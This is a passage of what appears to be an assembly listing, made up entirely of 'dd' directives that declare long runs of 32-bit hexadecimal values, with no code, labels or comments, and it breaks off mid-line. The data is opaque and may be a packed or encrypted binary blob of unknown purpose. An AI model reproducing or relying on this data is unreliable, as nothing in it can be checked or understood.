14D63D77h, 957182F3h, 6D73592Dh, 3D045093h, 5B0C07F9h dd 93D7250Eh, 886552EAh, 68684A5h, 6E1DE6Ah, 892DC656h dd 6C41D42Eh, 79970914h, 0CCBF80DBh, 0E91E2268h, 70210E44h dd 317365h, 12047710h, 54D8E7F7h, 0C82B3212h, 0F5008EA8h dd 0BFD18BA1h, 27E67EC2h, 0A444E954h, 380D2C05h, 49EE858Bh dd 3C78F508h, 0C908D97h, 0A10A823Bh, 42397229h, 7DB0002Ah dd 2666DBBEh, 0E9611757h, 7DEA9C55h, 31058700h, 0FC81C8F0h dd 0FA860054h, 431B4108h, 0F33F2EEDh, 2BCFD55Ah, 0BD0810B6h dd 84C20BADh, 7D1E2C24h, 0A3A50244h, 22447D1Bh, 955128A9h dd 0FD0C8B70h, 51785C10h, 7F60C294h, 0ED02E5BFh, 9D094756h dd 6BA95585h, 1DE03F4h, 9CCA58B6h, 95727EF8h, 4AF905B2h dd 6FA8E7B2h, 0F8FE6017h, 0F5B9490Bh, 0C5B768A9h, 0E08B978Fh dd 0A2782235h, 0D9B9D2Ch, 4F0492C0h, 8997C9FAh, 9E79F376h dd 19AACD9h, 7DD3FF0h, 0BD5DC2B8h, 0BBFEA5CCh, 0B4BF0F43h dd 0B78445BCh, 9B3B6916h, 580680BDh, 0B76AEAFAh, 0FCEA38E2h dd 90DC6D54h, 4BB77F85h, 3A5DC95Fh, 0DC80F49Bh, 0A9831F93h dd 397B6409h, 45F7BD9h, 0BC439DBBh, 6AA2D35Eh, 0DA959900h dd 0B093BF31h, 0CAB4F302h, 5E704D50h, 37BB5E6Ah, 13C81C50h dd 0AE013F0Dh, 9561301h, 9134ED85h, 0F690B55Fh, 0C0009DBAh dd 8E53C4F3h, 9FE35C9Ch, 335C9262h, 32AD5751h, 48DE365Eh dd 47534EF3h, 7C228D4Bh, 712D25A0h, 95CDA7FAh, 5D3F3242h dd 1F820662h, 3F5E2A75h, 0FE149F71h, 3922DF04h, 0A8A23FBCh dd 8F70652Bh, 7BF26386h, 43FF05F0h, 0D0BF0E71h, 158589A4h dd 0B30F6BBFh, 6000842Dh, 34619501h, 95E51B5h, 24F59D89h dd 0FCB8FC3Ch, 83A69B5Eh, 80269493h, 67B7B328h, 7C955A99h dd 7525BB6Dh, 6AEAC979h, 0B001E73Ah, 1785DDAEh, 64604BC0h dd 0C9C18331h, 5E5302BCh, 0E8175E61h, 0EAF67E36h, 0A08E4F12h dd 0A45919F7h, 4100D2ACh, 54E442BDh, 975F4C6Eh, 105F75E2h dd 559F5Fh, 0EACF0818h, 445C6FEDh, 164783Dh, 81C409E1h dd 0D42FFBA0h, 0C1F409DAh, 0FBB51CD0h, 0C971D04Fh, 80A7FE01h dd 0F014CF32h, 48DCA3Fh, 5350DE8Bh, 0FE1734AFh, 5FC8C999h dd 0D61D68Bh, 0C010FE7Fh, 40A265B3h, 5809F87Ch, 59427BF8h dd 51611815h, 0DD1F8FEh, 0F83F752Fh, 122A2049h, 0AB025FE9h dd 0E7E777Ah, 0D7640560h, 0BD29C160h, 32991C91h, 105D08h dd 8DDAE381h, 9997748Fh, 0B1715754h, 5F022CF1h, 73273A5Eh dd 0E5F1D8EDh, 0C16F7FAh, 9AA256Fh, 0DF5C0269h, 0D57004EBh dd 1DB2825Bh, 4052365Eh, 5B02C057h, 5696F89h, 0B529D37Eh dd 2DAA0085h, 979A7F44h, 3729F780h, 6E0083EEh, 3188D2C1h dd 97051DBDh, 2AFC4FB2h, 9F8317D4h, 0FC033503h, 75B380B1h dd 2595BC0h, 12A8F78Dh, 2F41A713h, 0E09657C5h, 50B4B796h dd 0AE40B49Eh, 176E9C20h, 8A8664h, 7C15CA0Fh, 73002439h dd 55EDBF1Ah, 595F6CD2h, 0B0BCBC96h, 9E1FC9E6h, 1D297DCh dd 2B0F61F3h, 154B119Dh, 0E15A6656h, 5D7A50B8h, 69DAA467h dd 14C479C4h, 0E2892EB7h, 203AE149h, 7F7805E1h, 0CC93BB00h dd 0DCE35A9Ch, 1A96032Ah, 811611AEh, 3E20544Ah, 26ACBEC5h dd 7112FD6Ah, 6A0A315Bh, 0D30928Dh, 0D1945B16h, 4DAB6DBh dd 75BCBFF9h, 3E9D2004h, 0AC4D8E5h, 53D4D2FFh, 12650B7Fh dd 2FAB5C59h, 3C60F1EFh, 4B3F12Ch, 0B21E254Eh, 804BBC50h dd 98C6702h, 9CED00D9h, 0CC519D65h, 9A01077Ah, 0A3AA0AF4h dd 6170FAD7h, 131A9F5Bh, 70BD8D4Ch, 6102E9E3h, 0AA960277h dd 5ACD5E71h, 7D56B2CAh, 0F72A3651h, 66D4B0ABh, 7BC6002Fh dd 0D1B9C023h, 0F20ACF81h, 0DE3699B1h, 0E909C91Eh, 979FE61Eh dd 53717F1Dh, 4551F120h, 0FBBC9223h, 978E3EF2h, 0E875BD92h dd 3801028Eh, 1D080620h, 12847140h, 6492D4A5h, 0E12F71F2h dd 61FBDFE2h, 82181B59h, 731A4D00h, 45B1E130h, 0CDDE4B8Ah dd 25A77C6Dh, 3EBFC51Eh, 258D2D2Ah, 0AC44890Fh, 51CDD84Bh dd 443D95D0h, 7E09BB2Bh, 0A23E8040h, 441FB73Ch, 9B6EFFFFh dd 0CD548081h, 407762DDh, 55351E6h, 0CAF6978Eh, 0AFDB6A0h dd 4E88594Fh, 0D9789Dh, 24AEF763h, 22FFD2EEh, 780BAA00h dd 9ABF6215h, 0A59D2F33h, 3102D6A9h, 0BAD518C5h, 1FB7556Fh dd 4CDDC42Dh, 0F4738D81h dd 6F4297F5h, 29E58263h, 0B88169D4h, 0DCC23D8Fh, 0F281C04h dd 0D2B4BC44h, 9B5FB2E2h, 792C4D3h, 259DF7F4h, 497B2705h dd 0DBD2B82h, 4BAD5E14h, 501905D2h, 5B0C5320h, 0B68D352Fh dd 0D206E0C8h, 80500B87h, 52184405h, 2EE0FC6Dh, 0B3CD284Bh dd 4FE7202Eh, 6F00503Ch, 0B355D019h, 24A64452h, 2E00FE6h dd 6A5BCF6Dh, 0E278D75Bh, 147D027Ah, 5B882BAEh, 46D6985Ch dd 0BB61001Ch, 4B8A1EADh, 0F0D37401h, 63F617AEh, 2937CC46h dd 216B85ECh, 4B94D80Ch, 80FC80D9h, 45A47AD7h, 0A2DF8102h dd 5E5726BBh, 0CF806161h, 43282F71h, 0DD39D37h, 9BF921D9h dd 8FCE62Ah, 4B98Dh, 74BF5096h, 2377BC12h, 4614F8ECh, 0C05959EDh dd 38E5CC7h, 0D9CE9578h, 410AED95h, 0F6535A6Ch, 184E1177h dd 3EB494D8h, 0F800DC25h, 6D35F156h, 0E117E08Fh, 7182DB81h dd 44DE6F14h, 0FC26714h, 801A818Dh, 342FD4F7h, 0E2E05242h dd 0AF328822h, 5C009344h, 0EABC68A2h, 1D3D3Ch, 6D1EC628h dd 0CB23B46Ah, 0E63B6925h, 40369E15h, 31D1C6C5h, 353DE400h dd 0BC213E41h, 0D2707C6Dh, 0C002E220h, 0E9DBB70Fh, 0E009979Fh dd 7CCBBC4Dh, 97080FFh, 4AF781C5h, 3261DD05h, 65FBC18Bh dd 0FF84EEE8h, 29B82DABh, 8BC8A940h, 0EE280275h, 1EC9D18Eh dd 7474C65Dh, 0F2B05BFh, 3160504Dh, 40F27C94h, 2ED5B29Fh dd 25DEAB00h, 6052C1EEh, 7D9702BFh, 5E5378E7h, 0D4CB3256h dd 7195DC99h, 5BC5000Dh, 0F8FFD1ACh, 12475058h, 24F606A9h dd 0B38270A4h, 0AB01398Dh, 519526A3h, 0AD40F574h, 951983E4h dd 2D783DFBh, 0F9A0058Fh, 81BB4C8Ah, 2F26650Eh, 19230C6Ah dd 56352000h, 5AD6A6F4h, 0C53FE1F9h, 200C062Ch, 4A9D010Dh dd 0B3362ECh, 7043F3BFh, 0CF0C012Fh, 42CD02EDh, 9DB874B3h dd 6FE0C8CDh, 97943E6Ah, 83A307B5h, 88ED4D80h, 0B4E9CFDDh dd 65844027h, 0E40F7935h, 0E0310AC5h, 0F78A321Dh, 855054Fh dd 46FE882h, 0AF0C2DC5h, 40902E75h, 4AFF805Dh, 7F6ED1h dd 8D6EF7A3h, 0B5023A46h, 0ECEEC290h, 77015D7Ah, 1ADD752Eh dd 282F07A3h, 0F5886C05h, 0F8024E6Ah, 130D109Bh, 0A2B0BE31h dd 0F2EE4523h, 85CC00F9h, 696AE19h, 13180016h, 74959BE5h dd 0FFAA892Ch, 50037DFh, 0BBFB7BBEh, 1823496Bh, 5D018B1Fh dd 6EE9FFFDh, 10138E6Bh, 3F4883EEh, 0ED1D8D12h, 3B26E88Fh dd 15120BBBh, 1E2E322h, 505FF857h, 8B5FC0B3h, 5CE15580h dd 5995DE8Bh, 0AAED4BE7h, 66F49640h, 497812CFh, 4DBEE636h dd 0BCDD4A2Dh, 8031DA2Bh, 97356337h, 0BD890D07h, 6A4D0569h dd 2D1930C1h, 0A198A73Bh, 622E1135h, 0B0252B8Fh, 41BF8800h dd 0BF642925h, 2AA15640h, 7560E681h, 97C17F85h, 58297D29h dd 745745Ah, 0A9256538h, 795842A9h, 970766B5h, 0F09E7A90h dd 723942B8h, 4CCB9F5Eh, 3EB8147h, 5B21AC51h, 8888A761h dd 78271291h, 2B14415Bh, 2D415B54h, 61E8FC30h, 0ADC82BD9h dd 4440F41Ah, 81C28CD1h, 48E5EE07h, 0C3A0FDADh, 9DF3DB6h dd 0D0BC8E33h, 52DCF59h, 3D1F0518h, 2DB82356h, 0AD958984h dd 73562FA9h, 7BA19932h, 172EB85Fh, 5CD810Fh, 0B6C722Bh dd 88EFF525h, 0F709BBB6h, 0DD2C5EA7h, 0A560F21Ah, 2A51859Dh dd 4F482B30h, 75A245h, 54839CE3h, 15D734FFh, 0AB2C701h dd 11446338h, 2B40A5F5h, 459D0BFEh, 7DDCA0C9h, 73A79095h dd 3E087737h, 0A00B20Bh, 8F75F034h, 1302FBF8h, 355DC9FEh dd 0C2705CE1h, 60040BCCh, 0A41AE5B0h, 26A52DA8h, 8B206BD9h dd 7F1F6D6Bh, 31404B15h, 9A8212h, 4357C021h, 0B9F99F49h dd 0CF089D25h, 0BEF9400Fh, 0D35CCE78h, 7A110ECh, 8A4DC34Ah dd 997D3B97h, 827B2B56h, 82F07553h, 3DBFBA70h, 844680E9h dd 0A15F59EDh, 0E1175D71h, 158860D4h, 0C62C009Bh, 301A782Ah dd 0AD01982Eh, 0B959FC8Dh, 32E4C5F4h, 621E9761h, 0E758109Fh dd 5E6004Ch, 0BB4B74AAh, 132D21DFh, 82D97EFCh, 18E59509h dd 0D5933257h, 9C613890h, 2B3AD900h, 641B84A4h, 7A5A139Dh dd 7584A860h, 32397424h, 2F22D908h, 6D4B4F51h, 700D4047h dd 0DC264082h, 592D5891h, 41D4FA26h, 674C05DCh, 0AF8C0F66h dd 3900428Ah, 938B8494h, 0B70E7ADCh, 60D60656h, 0A28EE117h dd 1265B472h, 2543B205h, 1745C59Fh, 0C1CADE58h, 4A6E2A64h dd 1FCBC7F0h, 1E24DB81h, 4FC425B5h, 9C88BB04h, 54B84B14h dd 4DBD33C1h, 0BFAA062Ah, 0E1FF9B48h, 68432F96h, 0E40EB8D2h dd 33C0110h, 927DC0C7h, 46282E05h, 3B528931h, 0CC092920h dd 0A3AF0112h, 0AC205E8Ah, 8F79F8E4h, 0BB5B3C01h, 7C563BCBh dd 255B282Eh, 9F8D8988h, 0BF6666A0h, 14979AE8h, 9CD85563h dd 0D154B56Ch, 0DCFCB460h, 0AD4AE102h, 5C427B77h, 60932455h dd 9798287Fh, 803EF03Fh, 25C354A7h, 71129031h, 25D2F4EBh dd 67C27ECBh, 9DCFED6h, 0CD7B983Ch, 0F9705972h, 0D0EE5395h dd 0D30A54F7h, 0A00B53EFh, 51939709h, 5B5CA596h, 36B8FAC4h dd 38090CBh, 0B8666050h, 0E4E90C7Dh, 3BFB61F1h, 7F6A0782h dd 0A5E0824Dh, 0FE3F8D91h, 0D2F62489h, 0C6D0842h, 85D86803h dd 3ABA5C8h, 0D786279Dh, 88F0F9DCh, 0AD594B8Ah, 595FFBAFh dd 24C51816h, 923C678Ch, 3F1B72Ch, 39E9DC8Ah, 7E6E8502h dd 6E840901h, 219030BCh, 819830F1h, 762583B9h, 3C5925B6h dd 0D4D1DC69h, 62A9A33Eh, 369CCh, 33D19D23h, 0A144C595h dd 34FF865h, 2ABC2802h, 5CEF6F76h, 3186905h, 0F50014F2h dd 8380DECCh, 9A15158h, 5841E9Fh, 0DFA80C71h, 5FDBFABDh dd 0F0D7E689h, 2D30D94h, 10296676h, 467DD98Bh, 0E058BDDDh dd 1A9D264Bh, 0BCC0AA38h, 21A2977Ah, 0D15B7800h, 0B767D38Ch dd 61FC253Dh, 377505C2h, 0BB532F55h, 0DC19613h, 5FD65BDFh dd 0B5FC619Ah, 0D31501DEh, 544B8F5Eh, 1AF5FAC7h, 27E15480h dd 0E8D82EFBh, 0B8B627C4h, 0F4C6F410h, 0AE64D600h, 35939FBh dd 75E200D2h, 0FA23D5F9h, 491E1A83h, 0B8C9A768h, 545964h dd 0EC24D470h, 7E003653h, 0FEA60C20h, 3D7117E6h, 9005265Ah dd 0E051E979h, 69A5FCAh, 0A7E1580Bh, 0C211ED64h, 0C0566F73h dd 0F19D2961h, 900D096Bh, 0AA00B171h, 0E781757Ah, 0ABC30072h dd 38CC6F5Dh, 29255445h, 772FC606h, 65F1BD5Fh, 5C8D1DB2h dd 8C446975h, 0EB171000h, 0A8AF51FEh, 60DA70FAh, 8190485Fh dd 47121DC7h, 0C7B60B96h, 12A1BD08h, 16DE6BA4h, 0B84609A3h dd 51F16976h, 0ACFC64E6h, 842AA310h, 2DE899EDh, 80046FF8h dd 1FE9F92Ah, 0DE84D7ACh, 0EBD8ACF5h, 0DD9D8981h, 8916A15h dd 8E6B12BDh, 8FAD2A4Eh, 0A5A0B329h, 9F1F9E66h, 2B70955Bh dd 0E09A255Bh, 1C599453h, 1F00DC18h, 0E58F1852h, 9FB5D5Fh dd 383CBB66h, 17ACD159h, 509C2A09h, 0CCBDBFFBh, 0B6ECD980h dd 250DC5BFh, 357342BCh, 269D8D04h, 70068DAAh, 67BE1C48h dd 79DD92EDh, 85E9D82Ah, 65192125h, 646DAF50h, 0C01C3340h dd 15992D38h, 9AC11A90h, 8791AE3Eh, 0D3C5A67h, 5EACF5D4h dd 7CE5A2D2h, 80566B3Bh, 75C5B161h, 39276C42h, 9680CB21h dd 6032849Dh, 0CE28B70Fh, 9959D61h, 9EBD5D7Bh, 47F8AC13h dd 0CDBD0D12h, 50303EB5h, 4AD58D01h, 6D7CC912h, 0E67AB9A5h dd 88C25A06h, 2050202Ah, 8409F381h, 5B76A314h, 0F24DA7A3h dd 5637BB42h, 81606094h, 2A16FAE3h, 58AB45CEh, 0BD035C5Eh dd 0C520C124h dd 26FD12BBh, 5F601F38h, 89CA6A8h, 180A8D9Dh, 888A2296h dd 5BDA0BBFh, 0FCA63F45h, 8459129Fh, 0AA9EA834h, 6552DE1Fh dd 54C0125Fh, 31FBA577h, 4A7E7CD0h, 2292CA2Eh, 0FB3CA132h dd 0F2BAB32Ah, 0A7F53219h, 7159C20Ah, 2D8A016Dh, 6B3A3745h dd 31D0BDDAh, 4FAF4EC1h, 2916D97Dh, 89AA92F4h, 10A27FB7h dd 0C8BA9A4Ah, 9BD3C91Bh, 0FCF78084h, 0EBB0B5CAh, 0EFF8752Fh dd 2E63DA03h, 0C140BFC9h, 122B7BD5h, 0C0559EA9h, 8BDA7DB8h dd 31F804FBh, 0AB22F18Dh, 8945EF38h, 9442F68Bh, 8919BAFFh dd 8AFDEA6h, 0C6162311h, 1EE85CF9h, 5A376500h, 51FB46ACh dd 0D960CBE2h, 16419B50h, 72E02D2Ah, 0EF5C00C1h, 0FF6CFA22h dd 0D82600DCh, 48E619CDh, 0F47B65E9h, 515A60F9h, 0CBC2854Ah dd 18C53084h, 6114448Fh, 0CC7E9078h, 4B95521Eh, 51619202h dd 6552ADDAh, 0A319D10h, 7D38180h, 5A7899FDh, 3596695h dd 0F936D48Ah, 0A8168250h, 12EA9257h, 4AFBA274h, 37EF5085h dd 788D8376h, 0AB7544A0h, 0BB907F01h, 16659B55h, 0BFBA423Fh dd 84D50753h, 0A7AE8822h, 684C01FAh, 0A6BA44B6h, 6E4A3E29h dd 79E70068h, 0F0A31DC6h, 667B948Ah, 0FB18FA66h, 0CB0F6A0Eh dd 0B62277D6h, 0AE7DDE91h, 0D94D5B00h, 819AE2A9h, 0C2F6A3DEh dd 256CF22Dh, 735B2611h, 7BF16EAFh, 39BA9565h, 195D04FDh dd 0F63C35ABh, 76ACA278h, 0E9BD0F3Eh, 0E331ACD2h, 0B6304AB3h dd 0B5A5F0B4h, 4B020E8Bh, 0E6926AF9h, 0F010E0B3h, 0BDBB3ED1h dd 5B122082h, 487F8529h, 2DB790C7h, 0CDD6503Ah, 0AD8A1041h dd 0B74063EDh, 0B0AAABBh, 905F70C0h, 5DC4C54h, 8671AB77h dd 411DF060h, 0CC2A2341h, 0DC9C6190h, 0C9975469h, 5060E2B0h dd 0E6003090h, 0BE5A03E4h, 931286Dh, 0CDE96167h, 0F2734C56h dd 0E3800192h, 4C806BE0h, 9DF93F70h, 17598053h, 0E4091E18h dd 7F8B3220h, 8D897310h, 540D1125h, 8B35EB7Dh, 258C4D94h dd 257A65F8h, 0EF40484Dh, 5886E3E4h, 9112204Fh, 0A43CAC03h dd 84BDDBEAh, 6BABB706h, 0F1B2354h, 0AB20E959h, 5C8031B5h dd 0D98D290Ch, 95FF5318h, 0CE4F8710h, 0EE00B87Eh, 0F4673A6Dh dd 1D2B2601h, 0EE1AF40h, 4C10F1BDh, 104B76EBh, 0DC837ADEh dd 0A1D18EA6h, 0B9622B57h, 0F718DDFCh, 0B070131Dh, 8277D99Dh dd 0A2DBD03h, 6070E602h, 12C6B8D7h, 0B4FC71E4h, 2FC9D8B9h dd 4AB258F5h, 0B5E523BAh, 89091D92h, 29388E7Dh, 8E9B5916h dd 0D3106DBDh, 2401BC04h, 0BFC82B04h, 0D1D9B1CDh, 0F37B2821h dd 0F55650E4h, 0CACACE95h, 133DE546h, 849BF85h, 739FAC56h dd 3264B55Bh, 0A5112121h, 58CC874Bh, 891A6166h, 182145Fh dd 0F1822904h, 0E6D522AAh, 0A9BCC406h, 0DE62AA0Ah, 0A52A2F40h dd 88FE1615h, 0DC009A37h, 0A8084BB3h, 0F24AFDDh, 6539EF19h dd 0D1177007h, 634C8C3Ch, 50007D92h, 3180BCDEh, 985FFE8Ah dd 7B95516Ah, 182D8889h, 5750FA54h, 0CD048216h, 0FC6A495Dh dd 82C960CFh, 4D0B2EDFh, 0DA59EEh, 8451C510h, 11E73CF6h dd 169F5A24h, 0E570EB5Bh, 5B36B9FEh, 800B9E08h, 273A2D71h dd 79072DEFh, 0F46BE511h, 583D1646h, 0AC7683AAh, 0D8E17062h dd 744F57Ch, 1B8DD33h, 0AC0C74BDh, 0C649C8Dh, 648B15B7h dd 4A969DFBh, 0D7E8DA09h, 7FE96AE9h, 0CDE0754Dh, 12D22BDCh dd 0A9B9DB80h, 93FDB4DDh, 1FAFCA8h, 0A7AFD604h, 65813BBBh dd 0F76B06C9h, 737A7AEh, 85236040h, 98284BE1h, 0EF0001BDh dd 94290271h, 330D74h, 5BB98AB4h, 9284FDE0h, 9914A609h dd 0BFC85861h, 2E4096CFh, 2FB169D1h, 0D45B3EDDh, 2C191B59h dd 0AD78C004h, 4E5B5751h, 0D77EA95Fh, 9DA879FDh, 84EA9595h dd 0AC75BD33h, 0AC8A4A5Bh, 0FCB46D2Eh, 0FA973170h, 9D0B13DDh dd 3770AAEDh, 5A35B589h, 5022B717h, 0FB97B1FBh, 464D27E7h dd 7A625E40h, 5F2616FDh, 0DF270314h, 8043506h, 6C4BA87Bh dd 0D5A7C1ACh, 0D606DE04h, 24356B0h, 0A2D8BF64h, 0CC56304Bh dd 0FF04FA53h, 420204BDh, 546A264Eh, 0AC161673h, 2BFCE23Ch dd 16DC5574h, 0BC5FE20Ch, 0B060275Bh, 0BDDD9520h, 8C2D7D52h dd 704353D9h, 0E212212Ch, 0F4B11662h, 36F10B26h, 11606C4Dh dd 9D160A55h, 2A93E1D5h, 52AFFF53h, 0BB6BFE92h, 31001823h dd 0BF74BEDDh, 0BB6702B3h, 4DA9524Ah, 0DC27F956h, 0EB09F6DDh dd 0F929E8ECh, 79618186h, 0ECA3BD68h, 0D7F0808Ch, 2C26381Eh dd 0F24A7151h, 0F7800F07h, 0B9926345h, 8B865893h, 43E5DA00h dd 0D11E1768h, 4F54805Ch, 81DFCB31h, 0E5E84880h, 0AFB37F4Dh dd 0E125CC90h, 0A406C521h, 0AB02D604h, 4D91E5C1h, 4B035C27h dd 56801CB7h, 17E03532h, 1E912FBh, 99099102h, 0F92D2B2Dh dd 4AC1E35Ah, 0D0B20722h, 9B09EB81h, 59790285h, 45096F5h dd 72755D9h, 0A97E295Fh, 0E0E5542Eh, 792FBB60h, 0B966EC00h dd 3E2CAFB2h, 0AA9C8C61h, 663D5CDCh, 466DA13h, 0EF896E35h dd 65C035DBh, 54D9AE12h, 53C18D4Bh, 6E60075Ah, 950DB2A5h dd 4D25C565h, 15DB407Ch, 190D363h, 0ADBCF95Eh, 670DA89h dd 0D3BE7AC0h, 1FE880E4h, 0D29661E1h, 7424AEFAh, 7380E4E8h dd 0B5ACFF7Ch, 31F78C1Fh, 0D672EA8Bh, 565C2F1Eh, 87AB5569h dd 7141A7DEh, 0D4706E0Dh, 614F60h, 8D8996DCh, 0BA952665h dd 3BEDC6F1h, 841F89A4h, 27750058h, 70A1C890h, 0DC209625h dd 846841C4h, 924FF9E2h, 0B7B0D8DAh, 8FE13D7Bh, 0AED7666Bh dd 6F85AB3Eh, 83B8C08Bh, 0F401AC50h, 41DAC5B4h, 0C83A3152h dd 0C4BD5BFDh, 0E8F94086h, 3430860h, 0C5B701Ch, 0F2E6B329h dd 87AAD924h, 0E2C6D7h, 9675B1F1h, 11EAEB13h, 0B8C65A14h dd 0BFF90E9Ch, 0CE564157h, 9E73F2Fh, 7EC78070h, 9116B57Fh dd 0D5E08019h, 5AD75094h, 0C0E7AC61h, 11D81A10h, 1D042418h dd 4EFD12B4h, 0B63761C1h, 0F156E315h, 4C2054D6h, 0CF094AFDh dd 9D1274EBh, 39AA1869h, 5E0E6C73h, 39BCC2EDh, 2C003472h dd 83BDDDCh, 0BF37E938h, 0CF6529EFh, 0A5623BABh, 0EEA099A6h dd 0DC7FD02Ah, 82C18839h, 87CACCCFh, 12B5FE47h, 842DE309h dd 7ABA0419h, 0FEE00226h, 42FB8E78h, 1400D796h, 9D297AEAh dd 0D0A6D24h, 67A4DF79h, 4F78DECEh, 6960F00Dh, 0E149C232h dd 417F40E6h, 0B7D19703h, 0F8DB044Bh, 78D143B8h, 3E00A7ACh dd 0C2E340CFh, 259531E8h, 12CD17E9h, 31601DE4h, 7E0121B0h dd 6240C8F9h, 0A940753Ch, 25BFD8E7h, 0B85679B7h, 0FCA4EDE5h dd 0A8EA09BFh, 0C1501E95h, 3DC9FB4h, 0F1A579D4h, 0F0C51BB3h dd 0A4AC5FAEh, 0F19D3309h, 0E80F560Bh, 7059497Fh, 1F11A901h dd 0FF0D271h, 57F63DB4h, 51602D46h, 3D46B272h, 9A2A8AFh dd 2A54C585h, 9C76DC4Bh, 6FC66561h, 410829A1h, 11028C06h dd 47398FB3h, 0A826EDD2h, 284D0098h, 93B6A156h, 524CD559h dd 4FD74C8Ch, 4C24C45h, 6FE03EF6h, 0DB0008A4h, 37607E76h dd 12FCD7EFh, 0E197CF80h, 2EEBD97Dh, 0D0397A29h, 20F63EA9h dd 807FCC4Ah, 0CFA8D32Fh, 0EAE240DEh, 0CF0236A2h, 2FBEC6C8h dd 6591828Eh, 52965C09h, 2C7E4D40h, 544D5995h, 8B857197h dd 114450F8h, 0FEDB1007h, 5F99C2C1h, 0F1159180h, 5D49933Ah dd 9D137390h, 60EE16C5h, 0B37AA099h, 1F75C0FDh, 27DB539h dd 0C0BB7ED3h, 116493E1h, 4A2AEDE0h, 0A3AEAFC4h, 3F9B00AFh dd 57D5F50Fh, 0FEFF0F3Eh, 37F7EB1Dh, 0F62770A0h, 0E712C7F0h dd 20AB1028h, 0CDABE6Bh dd 5E864009h, 0C16BF65Fh, 423DD9Dh, 36A2C7ACh, 0FEF96022h dd 98BB060Fh, 0CDB7F5F6h, 0ACD8C1BAh, 1E6970BCh, 2B1140Dh dd 526F86E9h, 0B4CBB646h, 0A2BB3134h, 1BE8926Dh, 0A432392Bh dd 11590941h, 9D069655h, 843E23B5h, 0A427B90Eh, 2542C1EAh dd 0B5030126h, 953864DAh, 636B7C94h, 39375F44h, 0FA6AD380h dd 74CD4CE4h, 1DE12565h, 35555D89h, 801D911Dh, 0CC99D13Eh dd 0E47AFB82h, 8D5B3105h, 0C0B0A552h, 3BF0951h, 6189DDC1h dd 0CC49A59h, 0CA9BE440h, 180076FDh, 0E8E54E73h, 4AE94268h dd 7F88B167h, 82013D6Eh, 0E5C9D663h, 55C92B29h, 213E72Ah dd 0A3FA43F2h, 693B4127h, 605B8E52h, 2FA2EC24h, 0F96076B9h dd 564A51D8h, 0E25BD4F0h, 9D2CB6E9h, 5CC84ED5h, 0E9E80114h dd 92002A4Bh, 0D1A41472h, 6FDF0062h, 0AC1C9986h, 0D6005AC9h dd 22A08F66h, 0C4E3B2h, 0FE6ECCC7h, 37A70817h, 73D15E00h dd 3EBD7203h, 9C270ECEh, 52A013B2h, 0ECAD169Fh, 1EEA504Eh dd 80F080E3h, 0FC25A0BEh, 1086F200h, 0B1BCAE7Fh, 91010082h dd 0BF2F8CA5h, 70C6A77h, 29FA1FA6h, 9FB01E81h, 2DA0C197h dd 20A9199Ah, 0E9795C03h, 7A4B25C0h, 21A390h, 0F5A8ADB1h dd 55BC581Eh, 32412909h, 5E0D7FDh, 0F1072595h, 8B3CA312h dd 0B7A5B9F0h, 83C5300Ch, 449FA84Ah, 0F0E39800h, 2AC0EF24h dd 57D4014Bh, 0BFF767CBh, 0C55F4CEh, 0EF30C360h, 30C5F1DEh dd 52131E3Eh, 943382F2h, 1F6DAA9Fh, 87B02098h, 0E3CAC3h dd 18319C1Dh, 0A84B9502h, 0A5701B97h, 9941EFCDh, 5ACA2A87h dd 0D8FF368Ch, 42721CE7h, 1160A930h, 607A490Bh, 5160F57h dd 4A070D2Ah, 1F95D998h, 903FE0AFh, 0C44234B9h, 4012BC6Ah dd 3059ECF2h, 0B9B5C0D6h, 71BF60E8h, 828A363Bh, 0C52469D1h dd 0F1B86055h, 9FBD3C81h, 806FFDB0h, 5100BBAFh, 4670E060h dd 0E9C43AAh, 8856C62Bh, 6254C480h, 0EE167D6Dh, 0A809C241h dd 0BE4BDD75h, 82387ED9h, 87F77456h, 10FA758Ch, 0EF03AA00h dd 37D343C2h, 107838FAh, 7ABDF580h, 0E78EA139h, 4BBB381Ch dd 67D75640h, 0C5ED92Fh, 607FDA6Fh, 7344E5EAh, 7E3BA0C1h dd 78BE0059h, 11AF8A2Dh, 3D01B879h, 0CE55C9CDh, 29F0E8DFh dd 477309Ah, 0A25F6E4h, 9B2A340Ch, 7F51576h, 0F8274624h dd 170CE07Ah, 93F62191h, 98B11C00h, 97A91245h, 816264ABh dd 0E522377Fh, 3FA1A0BCh, 8F7C6Eh, 0FC79BD2Dh, 70992C32h dd 2AFB1FC0h, 2A665940h, 3A7278Ch, 0F97CDA75h, 6FF09E65h dd 9BA08E7Bh, 0D6A853D9h, 0CB4C2889h, 0D2710C12h, 36E4D8Fh dd 9E98725Dh, 1500F717h, 0BA2E27F3h, 0AB0B2Dh, 69503ADDh dd 0FA66D376h, 1EEA1A0h, 24CA88h, 4EBE3DC9h, 0C47F5D61h dd 60499D60h, 0C1A2E75Eh, 5778490Fh, 2BAC3BB3h, 0F1980071h dd 3CAC09BEh, 43FC1122h, 0DECCA700h, 71D4EA1Ah, 9BFC09D5h dd 15AA6816h, 0F9748036h, 9D92E189h, 82AE1E3Fh, 93F8C60Dh dd 11707716h, 789CF748h, 66101D60h, 213D0FFh, 18DA05B4h dd 0FF43991Bh, 0E854D0D4h, 0F92469CBh, 0E900EABDh, 71C1A8Ah dd 9F1A0A4h, 0FE3800A8h, 0B6AB6901h, 0D500C131h, 0C6F060DCh dd 0FEE5D841h, 3BA2260Bh, 0CBD68055h, 9DBD245Eh, 9759E62Ah dd 40EBC24Eh, 3F4AFC68h, 2C4C375Bh, 91E10D76h, 1BE1EC2Fh dd 0A506C4h, 0D9FE6035h, 2B49F0A2h, 0D0BA8409h, 2DAB2063h dd 585ECEh, 4076E64Bh, 3462D233h, 8A35BC09h, 0C766DD59h dd 3ADB5E19h, 927B6190h, 587735CAh, 5467E459h, 18C9D422h dd 44C12F8h, 0DB5FE20Bh, 0A03952BCh, 2463DCBCh, 0C1B18E9Fh dd 901080B8h, 0C23F4E1h, 24AE0182h, 458C3707h, 281C80BAh dd 72437317h, 98C13044h, 0E757D617h, 40C2AF00h, 0E34AE6D0h dd 26B9F2FCh, 24726B52h, 95BC8C76h, 47095833h, 834CEDA3h dd 0B7E8376h, 969B1018h, 0D2C65501h, 23D847C1h, 1F034891h dd 1C886233h, 12F50197h, 531A121h, 4FBAF408h, 0B790DEE6h dd 0B4921678h, 9C06191Eh, 931B2401h, 1320F691h, 6BE80034h dd 372C6A45h, 50B144B4h, 0A0FC1E84h, 15844080h, 9E1D00AAh dd 9F5F472Eh, 0F4094F6Fh, 89B5C6FBh, 64FC0FBBh, 38C02E92h dd 9226E387h, 0F0533FD0h, 1CA80684h, 6D868054h, 0B0031F86h dd 94AADA9Eh, 0E83191CAh, 